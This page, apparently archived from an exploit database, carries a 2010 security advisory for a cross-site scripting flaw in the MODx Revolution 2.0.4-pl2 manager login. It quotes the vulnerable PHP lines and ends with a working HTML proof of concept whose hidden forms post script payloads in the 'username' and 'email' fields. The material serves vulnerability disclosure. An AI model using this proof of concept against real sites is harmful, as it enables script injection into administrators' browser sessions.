[webapps / 0day] - MODx Revolution CMS 2.0.4-pl2 Remote XSS
Posted on 06 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability by LiquidWorm in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===================================================================== MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability ===================================================================== <!-- Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability Vendor: MODx, LLC. Product web page: http://www.modxcms.com Affected version: 2.0.4-pl2 (public launch 2) Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely with custom code and helps you build sites faster and maintain them with ease. With Revolution you'll leverage the best things to come around since MVC and Active Record. Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to the "username" and "email" parameters via POST method in login.php script at the manager login interface. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. ############################################################# ------------------------------------------------------------- /var/html/www/manager/controllers/default/security/login.php: ------------------------------------------------------------- 25: /* handle login */ 26: if (!empty($_POST['login'])) { 27: $validated = true; 28: 29: $user = $modx->getObject('modUser',array( 30: 'username' => $_POST['username'], 31: )); ... 71: } else if (!empty($_POST['forgotlogin'])) { 72: $c = $modx->newQuery('modUser'); 73: $c->select(array('modUser.*','Profile.email','Profile.fullname')); 74: $c->innerJoin('modUserProfile','Profile'); 75: $c->where(array( 76: 'Profile.email' => $_POST['email'], 77: )); ------------------------------------------------------------- Tested on: Fedora 10 (Cambridge) Apache 2.2.14 PHP 5.2.10 MySQL 5.0.88 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2010-4982 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php Vendor Advisory URL: http://bugs.modx.com/issues/2918 05.12.2010 PoC: --> <html> <head> <title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title> <link rel="Shortcut Icon" href="http://www.zeroscience.mk/favicon.ico" type="image/x-icon"> </head> <body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg"> <br /><br /><center><font color="gray"> <h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></h3> </font></center> <script type="text/javascript"> function zsl_user() { document.forms["modx-login-form"].submit(); } function zsl_mail() { document.forms["modx-fl-form"].submit(); } </script> <div id="The Form Of The Ninja" style="visibility:hidden"> <form action = "http://example.com/manager/" id = "modx-login-form" enctype = "application/x-www-form-urlencoded" name = "hack" method = "post" > <input type = "hidden" name = "login_context" value = "mgr" /> <input type = "hidden" name = "modahsh" value = "" /> <input type = "hidden" name = "returnUrl" value = "/manager/" /> <input type = "text" id = "modx-login-username" name = "username" tabindex = "1" autocomplete = "on" class = "x-form-text x-form-field" value = '"><script>alert("username param XSSed!")</script>' /> <input type = "password" id = "modx-login-password" name = "password" tabindex = "2" autocomplete = "on" class = "x-form-text x-form-field" /> <input type = "checkbox" id = "modx-login-rememberme" name = "rememberme" tabindex = "3" autocomplete = "on" checked = "checked" class = "x-form-checkbox x-form-field" value = "1" /> <input type = "hidden" name = "login" value = "1" /> </div> <br /><br /> <a href="javascript: zsl_user();" style="text-decoration:none"><b> <font color="red"><center><h3>1. Exploit "username" parameter! <h3></font></b></a></center></form> <div id="The Form Of The 2nd Ninja" style="visibility:hidden"> <form action = "http://example.com/manager/" id = "modx-fl-form" enctype = "application/x-www-form-urlencoded" name = "hack" method = "post" > <input type = "text" id = "modx-login-email" name = "email" class = "x-form-text x-form-field" value = '"><script>alert("email param XSSed!")</script>"' /> </div> <a href="javascript: zsl_mail();" style="text-decoration:none"><b> <font color="red"><center><h3>2. Exploit "email" parameter! <h3></font></b></a></center></form> </body> </html> # <a href='http://1337db.com/'>1337db.com</a> [2010-12-06]</pre></body></html>
